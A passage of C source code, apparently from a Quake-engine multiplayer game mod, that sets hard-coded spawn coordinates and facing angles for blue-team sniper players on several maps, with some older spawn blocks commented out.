deathmatchspawn[2]= 232;
deathmatchangles[1]= 180;
level.BlueSniperSpawnPoint = 0;
}
}else{
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 1860;
deathmatchspawn[1]= -5317;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 1860;
deathmatchspawn[1]= -5164;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 1861;
deathmatchspawn[1]= -5099;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 1594;
deathmatchspawn[1]= -5097;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 1864;
deathmatchspawn[1]= -4908;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 1593;
deathmatchspawn[1]= -4911;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 1596;
deathmatchspawn[1]= -5037;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 1594;
deathmatchspawn[1]= -4973;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 1750;
deathmatchspawn[1]= -5275;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 1710;
deathmatchspawn[1]= -5277;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 1710;
deathmatchspawn[1]= -5200;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 1750;
deathmatchspawn[1]= -5202;
deathmatchspawn[2]= 664;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 1780;
deathmatchspawn[1]= -5099;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 1779;
deathmatchspawn[1]= -5164;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= 1779;
deathmatchspawn[1]= -5021;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 1687;
deathmatchspawn[1]= -5020;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 16){
deathmatchspawn[0]= 1779;
deathmatchspawn[1]= -4955;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 17){
deathmatchspawn[0]= 1686;
deathmatchspawn[1]= -4955;
deathmatchspawn[2]= 384;
deathmatchangles[1]= 90;
level.BlueSniperSpawnPoint = 0;
}
}
}//Old Allies Spawn
/*if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 6599;
deathmatchspawn[1]= -1107;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 6526;
deathmatchspawn[1]= -1106;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 6464;
deathmatchspawn[1]= -1105;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 6402;
deathmatchspawn[1]= -1099;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 6332;
deathmatchspawn[1]= -1097;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 6264;
deathmatchspawn[1]= -1096;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 6193;
deathmatchspawn[1]= -1095;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 6106;
deathmatchspawn[1]= -1094;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 6033;
deathmatchspawn[1]= -1092;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 5954;
deathmatchspawn[1]= -1091;
deathmatchspawn[2]= 280;
deathmatchangles[1]= 179;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 6610;
deathmatchspawn[1]= -1171;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 6546;
deathmatchspawn[1]= -1172;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 6489;
deathmatchspawn[1]= -1173;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 6410;
deathmatchspawn[1]= -1175;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= 6331;
deathmatchspawn[1]= -1177;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 6251;
deathmatchspawn[1]= -1178;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 16){
deathmatchspawn[0]= 6173;
deathmatchspawn[1]= -1180;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 17){
deathmatchspawn[0]= 6096;
deathmatchspawn[1]= -1180;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 18){
deathmatchspawn[0]= 6021;
deathmatchspawn[1]= -1176;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 19){
deathmatchspawn[0]= 5944;
deathmatchspawn[1]= -1177;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -179;
}else if(level.BlueSniperSpawnPoint == 20){
deathmatchspawn[0]= 6586;
deathmatchspawn[1]= -1240;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 21){
deathmatchspawn[0]= 6530;
deathmatchspawn[1]= -1245;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 22){
deathmatchspawn[0]= 6476;
deathmatchspawn[1]= -1248;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 23){
deathmatchspawn[0]= 6410;
deathmatchspawn[1]= -1245;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 24){
deathmatchspawn[0]= 6333;
deathmatchspawn[1]= -1241;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 25){
deathmatchspawn[0]= 6231;
deathmatchspawn[1]= -1245;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 26){
deathmatchspawn[0]= 6135;
deathmatchspawn[1]= -1242;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 27){
deathmatchspawn[0]= 6047;
deathmatchspawn[1]= -1237;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
}else if(level.BlueSniperSpawnPoint == 28){
deathmatchspawn[0]= 5950;
deathmatchspawn[1]= -1246;
deathmatchspawn[2]= 280;
deathmatchangles[1]= -175;
level.BlueSniperSpawnPoint = 0;
}
*/
if (!Q_stricmp(mapName, "factory")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -16;
deathmatchspawn[1]= -1166;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 908;
deathmatchspawn[1]= -996;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 1184;
deathmatchspawn[1]= 1429;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 1245;
deathmatchspawn[1]= 1429;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 911;
deathmatchspawn[1]= -1106;
deathmatchspawn[2]= 360;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 913;
deathmatchspawn[1]= -1150;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 1243;
deathmatchspawn[1]= 1349;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 1184;
deathmatchspawn[1]= 1349;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 795;
deathmatchspawn[1]= -995;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 795;
deathmatchspawn[1]= -1051;
deathmatchspawn[2]= 360;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 1243;
deathmatchspawn[1]= 1285;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 1183;
deathmatchspawn[1]= 1287;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 1183;
deathmatchspawn[1]= 1214;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 1242;
deathmatchspawn[1]= 1214;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= 1183;
deathmatchspawn[1]= 1156;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 1241;
deathmatchspawn[1]= 1155;
deathmatchspawn[2]= 296;
deathmatchangles[1]= -90;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "sfm")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -666;
deathmatchspawn[1]= 1661;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -591;
deathmatchspawn[1]= 1660;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -507;
deathmatchspawn[1]= 1662;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -422;
deathmatchspawn[1]= 1662;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -672;
deathmatchspawn[1]= 1563;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -672;
deathmatchspawn[1]= 1481;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -590;
deathmatchspawn[1]= 1561;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -506;
deathmatchspawn[1]= 1562;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -414;
deathmatchspawn[1]= 1563;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -422;
deathmatchspawn[1]= 1484;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -23;
deathmatchspawn[1]= 1632;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -23;
deathmatchspawn[1]= 1569;
deathmatchspawn[2]= -127;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= -23;
deathmatchspawn[1]= 1500;
deathmatchspawn[2]= -127;
deathmatchangles[1]= -180;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "dam")){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -65;
deathmatchspawn[1]= 2508;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -65;
deathmatchspawn[1]= 2440;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -1397;
deathmatchspawn[1]= 1218;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -1397;
deathmatchspawn[1]= 1345;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -66;
deathmatchspawn[1]= 2372;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -2;
deathmatchspawn[1]= 2508;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -1;
deathmatchspawn[1]= 2440;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -1397;
deathmatchspawn[1]= 1281;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -3;
deathmatchspawn[1]= 2372;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 62;
deathmatchspawn[1]= 2508;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -1150;
deathmatchspawn[1]= 1197;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -1156;
deathmatchspawn[1]= 1410;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= 61;
deathmatchspawn[1]= 2440;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= 62;
deathmatchspawn[1]= 2372;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= -1285;
deathmatchspawn[1]= 1470;
deathmatchspawn[2]= 2520;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= 191;
deathmatchspawn[1]= 2371;
deathmatchspawn[2]= 2648;
deathmatchangles[1]= 90;
level.BlueSniperSpawnPoint = 0;
}
}
if (!Q_stricmp(mapName, "dark")){
if(level.flagteam == TEAM_BLUE){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -3073;
deathmatchspawn[1]= 1609;
deathmatchspawn[2]= 1272;
deathmatchangles[1]= -1;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -1707;
deathmatchspawn[1]= 345;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -1707;
deathmatchspawn[1]= 282;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -1708;
deathmatchspawn[1]= 35;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -1708;
deathmatchspawn[1]= -34;
deathmatchspawn[2]= 792;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -1705;
deathmatchspawn[1]= 157;
deathmatchspawn[2]= 802;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -1706;
deathmatchspawn[1]= 191;
deathmatchspawn[2]= 896;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -1703;
deathmatchspawn[1]= 129;
deathmatchspawn[2]= 896;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}else{
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -32;
deathmatchspawn[1]= -5715;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -94;
deathmatchspawn[1]= -5715;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -158;
deathmatchspawn[1]= -5715;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -158;
deathmatchspawn[1]= -5651;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -95;
deathmatchspawn[1]= -5651;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -31;
deathmatchspawn[1]= -5651;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -31;
deathmatchspawn[1]= -5586;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -94;
deathmatchspawn[1]= -5586;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -158;
deathmatchspawn[1]= -5586;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -158;
deathmatchspawn[1]= -5522;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -99;
deathmatchspawn[1]= -5522;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -32;
deathmatchspawn[1]= -5522;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= -31;
deathmatchspawn[1]= -5460;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= -96;
deathmatchspawn[1]= -5459;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= -159;
deathmatchspawn[1]= -5459;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= -157;
deathmatchspawn[1]= -5396;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 16){
deathmatchspawn[0]= -93;
deathmatchspawn[1]= -5396;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
}else if(level.BlueSniperSpawnPoint == 17){
deathmatchspawn[0]= -31;
deathmatchspawn[1]= -5396;
deathmatchspawn[2]= 88;
deathmatchangles[1]= 90;
level.BlueSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "assault")){
if(level.flagteam == TEAM_BLUE){
/* if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 2962;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 2877;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 2790;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 2706;
deathmatchspawn[1]= 3301;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 2965;
deathmatchspawn[1]= 3203;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 2878;
deathmatchspawn[1]= 3202;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 2788;
deathmatchspawn[1]= 3202;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 2704;
deathmatchspawn[1]= 3198;
deathmatchspawn[2]= 472;
deathmatchangles[1]= -90;
level.BlueSniperSpawnPoint = 0;
}*/if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -1275;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -1352;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -1425;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -1502;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -1566;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -88;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -1630;
deathmatchspawn[1]= 912;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -1702;
deathmatchspawn[1]= 914;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -1662;
deathmatchspawn[1]= 992;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -90;
level.BlueSniperSpawnPoint = 0;
}
}else{
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -3026;
deathmatchspawn[1]= 3791;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= -3020;
deathmatchspawn[1]= 3894;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= -3011;
deathmatchspawn[1]= 4009;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= -3019;
deathmatchspawn[1]= 4095;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= -3019;
deathmatchspawn[1]= 4193;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= -3019;
deathmatchspawn[1]= 4293;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= -3016;
deathmatchspawn[1]= 4418;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 180;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= -3017;
deathmatchspawn[1]= 4538;
deathmatchspawn[2]= 120;
deathmatchangles[1]= -180;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= -4278;
deathmatchspawn[1]= 3801;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= -4277;
deathmatchspawn[1]= 3905;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= -4277;
deathmatchspawn[1]= 4007;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= -4277;
deathmatchspawn[1]= 4098;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 12){
deathmatchspawn[0]= -4276;
deathmatchspawn[1]= 4200;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 13){
deathmatchspawn[0]= -4276;
deathmatchspawn[1]= 4299;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 14){
deathmatchspawn[0]= -4276;
deathmatchspawn[1]= 4432;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 15){
deathmatchspawn[0]= -4276;
deathmatchspawn[1]= 4560;
deathmatchspawn[2]= 120;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}
}
if (!Q_stricmp(mapName, "norway")){
if(level.flagteam == TEAM_BLUE){
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1815;
deathmatchspawn[2]= 496;
deathmatchangles[1]= -1;
}else if(level.BlueSniperSpawnPoint == 1){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1756;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 2){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1701;
deathmatchspawn[2]= 496;
deathmatchangles[1]= -1;
}else if(level.BlueSniperSpawnPoint == 3){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1638;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 4){
deathmatchspawn[0]= 2092;
deathmatchspawn[1]= -1572;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 5){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1312;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 6){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1363;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 7){
deathmatchspawn[0]= 2091;
deathmatchspawn[1]= -1421;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 8){
deathmatchspawn[0]= 2190;
deathmatchspawn[1]= -1188;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 9){
deathmatchspawn[0]= 2190;
deathmatchspawn[1]= -1248;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 10){
deathmatchspawn[0]= 2192;
deathmatchspawn[1]= -1756;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
}else if(level.BlueSniperSpawnPoint == 11){
deathmatchspawn[0]= 2191;
deathmatchspawn[1]= -1816;
deathmatchspawn[2]= 496;
deathmatchangles[1]= 0;
level.BlueSniperSpawnPoint = 0;
}
}else{
if(level.BlueSniperSpawnPoint == 0){
deathmatchspawn[0]= -2269;
deathmatchspawn[1]= 4125;
deathmatchspawn[2]= 517;
deathmatchangles[1]= -45;
}else if(level.BlueSniperSpawnPoint == 1){
